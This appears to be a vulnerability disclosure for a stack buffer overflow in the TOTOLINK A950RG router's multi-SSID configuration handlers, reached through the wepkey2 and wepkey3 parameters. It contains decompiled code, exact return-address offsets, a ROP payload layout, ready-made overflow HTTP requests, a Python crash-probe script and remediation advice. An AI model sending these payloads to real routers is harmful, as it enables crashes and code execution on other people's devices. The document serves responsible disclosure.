TOTOLINK A950RG — Stack Buffer Overflow in setting/setWiFiMultipleConfig and setting/delWiFiMultipleConfig (dest[68] via wepkey2 / wepkey3)
| Field | Value |
|---|---|
| Vendor | TOTOLINK |
| Product | A950RG (AC1200 Dual-Band Gigabit Router, C8188R / IP04308 platform) |
| Affected Version | Firmware V4.1.2cu.5268_B20221104 |
| Firmware File | TOTOLINK_A950RG_V4.1.2cu.5268_B20221104.web |
| Vulnerability Type | Stack-based Buffer Overflow (CWE-121) |
| Component | lib/cste_modules/wireless.so — setWiFiMultipleConfig @ 0x5C84 and delWiFiMultipleConfig @ 0x4DC4 |
| Vulnerable Parameter(s) | wepkey2, wepkey3 |
| Attack Vector | Network (LAN / management interface) |
| Severity | High |
| CVSS v3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — post-authentication, but pre-authentication when combined with A950RG-INFO-01; the target is non-PIE and has no stack protection |
| Submitter | LiuYijun@State Grid Jiangxi Electric Power Co., Ltd. Information and Communication Branch |
The multi-SSID configuration of the TOTOLINK A950RG is handled by two near-identical functions in lib/cste_modules/wireless.so, setWiFiMultipleConfig and delWiFiMultipleConfig, which are addressed as setting/setWiFiMultipleConfig and setting/delWiFiMultipleConfig. Both read the WEP keys for the two additional service sets with websGetVar, which returns a pointer into the parsed JSON body without any length check, and both then copy those values into a 68-byte stack local with an unbounded strcpy. setWiFiMultipleConfig reaches the copy at 0x6250 for the second service set and at 0x679C for the third, using the values read from wepkey2 at 0x5DFC and wepkey3 at 0x5E7C; delWiFiMultipleConfig performs the same two copies at 0x5390 and 0x58DC from the values read at 0x4F3C and 0x4FBC. In both functions the destination is a 68-byte local at [sp+0x8C] and the frame is 272 bytes with the saved return address at [sp+0x10C], so a key value of 129 bytes or more overwrites the saved return address. The two functions are separate entry points but share the defect, the frame layout and the copy offsets, so a single payload shape defeats both. The target is a non-PIE MIPS32 shared object built without stack protection and the firmware does not enable ASLR, so a payload that lands on the saved return address can be directed at a fixed address. The handlers require a session token, which A950RG-INFO-01 discloses without authentication.
- Firmware version string:
C8188R/V4.1.2cu/ SVN 5268 (etc/product.ini); architecture MIPS32 little-endian, uClibc 0.9.33, non-PIE (image base0x400000), Realtek RTL8197F, 8 MB flash / 64 MB DDR2. - Routes:
setting/setWiFiMultipleConfigandsetting/delWiFiMultipleConfig, sent as thetopicurlmember of the JSON body ofPOST /cgi-bin/cstecgi.cgi. - Handlers:
setWiFiMultipleConfig@ 0x5C84 anddelWiFiMultipleConfig@ 0x4DC4, both inlib/cste_modules/wireless.so. The two functions are byte-for-byte similar apart from their entry addresses and the parameter reads at 0x5D44/0x4E84. - Parameter reads (
setWiFiMultipleConfig):v8 = websGetVar(a2, "ssid2", "")@ 0x5DDC,src = websGetVar(a2, "wepkey2", "")@ 0x5DFC,s_5 = websGetVar(a2, "wpakey3", "")@ 0x5E3C,v59 = websGetVar(a2, "ssid3", "")@ 0x5E5C,s_4 = websGetVar(a2, "wepkey3", "")@ 0x5E7C. ThedelWiFiMultipleConfigreads are the same names at 0x4F1C, 0x4F3C, 0x4F7C, 0x4F9C and 0x4FBC. - Sinks:
strcpy(dest, src)@ 0x6250 andstrcpy(dest, s_4)@ 0x679C insetWiFiMultipleConfig;strcpy(dest, src)@ 0x5390 andstrcpy(dest, s_4)@ 0x58DC indelWiFiMultipleConfig. None is length-bounded. - Destination:
char dest[68]at[sp+0x8C]in both functions. - Frame (measured from the disassembly, identical for both functions): total size
0x110; saved$raat[sp+0x10C]. Offset fromdestto$ra=0x10C - 0x8C=0x80= 128 bytes, so a key value of 129 bytes overwrites$ra. - Locals overwritten on the way:
v57,v59,s_5,v53,v52,v51,v50,n2_3,n2_4,n2_1,v46,v45,nptr,v43,v42,v41,v40,v39,v38,nptr_6,v36,v35,v34,s_2,v32,v31,v30,s_1,v28,s, and the saved pointerss_3,src,s_5,v59,s_4at[sp+0xD0]–[sp+0xE4]. - Request allowance:
lighttpd.confserver.max-request-size = 30720, so the parameter can be roughly 240 times the distance to$ra. - Mitigations absent: no stack canary, no PIE, no ASLR.
- Authentication: neither route is on the whitelist at 0x4026A8, so a token is required; that token is disclosed without authentication by A950RG-INFO-01.
- Note on the emulation: both handlers live in
wireless.soand are invoked bybin/cste_sub, which does notdlopenany module in the chroot environment, so the HTTP route returns{"error":"Unknow Topic"}instead of executing the copy. The frame layout and the unbounded copies come from the decompilation and the disassembled prologues; the method was validated against A950RG-OVF-01, which was reproduced dynamically at the predicted offset.
/* lib/cste_modules/wireless.so — setWiFiMultipleConfig @0x5C84 */
int __fastcall setWiFiMultipleConfig(int a1, int a2, int a3)
{
char dest[68]; /* [sp+0x8C] target, 68 bytes */
/* frame size 0x110 ; saved $ra at [sp+0x10C] (128 bytes from dest) */
Var = websGetVar(a2, "wifiIdx", "0"); /* 0x5D44 */
v8 = websGetVar(a2, "ssid2", ""); /* 0x5DDC */
src = websGetVar(a2, "wepkey2", ""); /* 0x5DFC NO LENGTH */
s_5 = websGetVar(a2, "wpakey3", ""); /* 0x5E3C */
v59 = websGetVar(a2, "ssid3", ""); /* 0x5E5C */
s_4 = websGetVar(a2, "wepkey3", ""); /* 0x5E7C NO LENGTH */
...
strcpy(dest, src); /* 0x6250 OVERFLOW */
...
strcpy(dest, s_4); /* 0x679C OVERFLOW */
}
/* lib/cste_modules/wireless.so — delWiFiMultipleConfig @0x4DC4 */
int __fastcall delWiFiMultipleConfig(int a1, int a2, int a3)
{
char dest[68]; /* [sp+0x8C] same layout, same defect */
/* frame size 0x110 ; saved $ra at [sp+0x10C] (128 bytes from dest) */
src = websGetVar(a2, "wepkey2", ""); /* 0x4F3C */
s_4 = websGetVar(a2, "wepkey3", ""); /* 0x4FBC */
...
strcpy(dest, src); /* 0x5390 OVERFLOW */
...
strcpy(dest, s_4); /* 0x58DC OVERFLOW */
}
/* Exploit arithmetic (non-PIE, no canary, ASLR disabled):
wepkey2[0 .. 127] filler 'A' -> fills dest and the frame
wepkey2[128 .. 131] controlled word -> overwrites saved $ra
wepkey2[132 .. ] further data -> ROP chain
*/Standard HTTP request:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Type: text/plain
Content-Length: 385
Connection: close
{"topicurl":"setting/setWiFiMultipleConfig","wifiIdx":"0","ssid2":"guest","authMode":"OPEN","encrypType":"WEP64","keyFormat":"0","wepkey2":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","token":"0123456789abcdef0123456789abcdef"}The body is transmitted in full and the Content-Length value above is its exact byte length.
The deletion route takes the same parameter and reaches the same copy:
Standard HTTP request:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Type: text/plain
Content-Length: 314
Connection: close
{"topicurl":"setting/delWiFiMultipleConfig","wifiIdx":"0","wepkey2":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","token":"0123456789abcdef0123456789abcdef"}The body is transmitted in full and the Content-Length value above is its exact byte length.
wepkey3 provides a second, independent path to the same copy in each function.
Boundary probe by bisection — values below 129 bytes leave $ra intact, values of 129 bytes and above replace it, and the CGI process terminates with SIGSEGV:
python3 - <<'PY'
import json, urllib.request
for topic in ('setting/setWiFiMultipleConfig', 'setting/delWiFiMultipleConfig'):
for n in (120, 128, 129, 4096):
body = json.dumps({'topicurl':topic,'wifiIdx':'0','wepkey2':'A'*n,
'token':'<TOKEN>'}).encode()
r = urllib.request.Request('http://192.168.0.1/cgi-bin/cstecgi.cgi',
data=body, headers={'Content-Type':'text/plain'})
try:
print(topic, n, urllib.request.urlopen(r, timeout=5).status)
except Exception as e:
print(topic, n, 'dropped ->', e)
PYBoth functions must bound the copies. The four sinks — 0x6250 and 0x679C in setWiFiMultipleConfig, and 0x5390 and 0x58DC in delWiFiMultipleConfig — should use snprintf(dest, sizeof(dest), "%s", value). As in A950RG-OVF-04, a WEP key has a well-defined length and character set, so the wepkey2 and wepkey3 parameters should be validated against it before any copy is attempted, and the validation should happen once at the parameter layer rather than being duplicated in each handler. Because the two functions are duplicates of one another, the fix should be applied to a single shared helper and both entry points routed through it, so that a future change cannot fix one and miss the other. The firmware should be rebuilt with -fstack-protector-strong and as a PIE binary with ASLR enabled.